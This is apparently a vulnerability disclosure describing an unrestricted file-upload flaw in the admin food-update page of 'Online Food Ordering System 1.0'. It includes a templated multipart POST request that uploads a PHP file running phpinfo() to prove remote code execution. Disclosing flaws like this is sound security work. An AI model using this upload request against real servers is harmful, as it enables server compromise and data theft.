Online Food Ordering System 1.0 Shell Upload

# Titles: Online-Food-Ordering-Systemt-1.0-FI-RCE
    # Author: nu11secur1ty
    # Date: 2026-08-13
    # Vendor: https://kato-james.42web.io/?i=1
    # Software: Custom Food Management System
    # Reference: https://portswigger.net/web-security/file-upload
    
    ## Description:
    The application allows authenticated administrators to upload files through
    the food update functionality without proper validation of file types. This
    vulnerability enables an attacker to upload and execute arbitrary PHP code
    on the server, leading to complete system compromise. The upload endpoint
    `/web/admin/update_food.php` accepts files with any extension, including
    `.php`, and stores them in the web-accessible directory without renaming or
    sanitizing the filename. This allows remote code execution (RCE) via the
    uploaded PHP file.
    
    **Impact:**
    - Complete server compromise
    - Data breach
    - Website defacement
    - Lateral movement within internal network
    
    **Root Cause:**
    - Missing file type validation (MIME type, extension, content)
    - No file renaming upon upload
    - Upload directory is web-accessible
    - PHP execution enabled in upload directory
    
    STATUS: CRITICAL - Confirmed and Exploitable
    
    [+]Payload:
    ```
    POST /{ADMIN_PATH}/{VULNERABLE_MODULE}.{EXT}?id={RECORD_ID} HTTP/1.1
    Host: pwnedhost.com
    Content-Type: multipart/form-data; boundary=----{RANDOM_BOUNDARY}
    User-Agent: {BROWSER_UA}
    
    ------WebKitFormBoundary{RANDOM_BOUNDARY}
    Content-Disposition: form-data; name="file_input";
    filename="{ARBITRARY_FILENAME}.php"
    Content-Type: application/octet-stream
    
    <?php
        // [PAYLOAD: Arbitrary PHP code for server-side execution]
        // [VULNERABILITY: Missing file type and extension validation]
        // [RISK: Remote Code Execution on the server]
        phpinfo();
    ?>
    ------WebKitFormBoundary{RANDOM_BOUNDARY}
    Content-Disposition: form-data; name="submit"
    
    {SUBMIT_BUTTON_VALUE}
    ------WebKitFormBoundary{RANDOM_BOUNDARY}--
    
    [CRITICAL VULNERABILITY: Unrestricted File Upload - Remote Code Execution]
    [LOCATION: /admin/ content update module]
    [ROOT CAUSE: Missing MIME type, extension, and content validation]
    [IMPACT: Upload and execution of malicious PHP code]
    [AFFECTED: All administrators with file upload privileges]
    ```
    
    
    # Demo:
    [href](
    https://odysee.com/@nu11secur1ty:b/Online-Food-Ordering-Systemt-1.0-FI-RCE:3b76aebe8b?r=2CiC8DJqVN8wAZKf11JLW8VJr1H5Hnei
    )
    
    # Time spent:
    00:15:30